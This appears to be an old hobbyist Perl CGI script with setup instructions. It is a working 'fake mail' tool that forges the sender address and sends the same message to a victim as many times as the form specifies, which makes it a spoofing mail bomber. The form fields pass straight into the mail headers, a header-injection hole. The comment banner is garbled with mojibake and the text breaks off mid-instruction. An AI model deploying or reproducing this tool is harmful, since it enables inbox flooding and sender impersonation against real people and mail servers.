#!/usr/local/bin/perl print "Content-type: text/html\n\n"; ###################### #牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋# #牋牋牋牋牋燬cripted by:牋牋牋牋牋# #燫ound_Kid@webtv.net牋# #牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋# ###################### use CGI; $q = new CGI; $to = $q->param('to'); $from = $q->param('from'); $subject = $q->param('subject'); $message = $q->param('message'); $send_it_times = $q->param('amount'); while($sent_times <= $send_it_times) { ###the below open MAIL should be directed### ###to the proper sendmail program on### ###your server.on hypermart,use:### ###|/var/qmail/bin/qmail-inject### open(MAIL,"|/var/qmail/bin/qmail-inject"); print MAIL "To: $to\n"; print MAIL "From: $from\n"; print MAIL "Subject: $subject\n\n"; print MAIL ""; print MAIL "$message"; close(MAIL); ++$sent_times; } print <

Fake Mail Sent To $to

Back STUFF exit; Most of you can figure the rest out.For those who cant: 1.CC&P the above code 2.create a hypermart page and make a file called mail.pl 3.create a separate html page as such: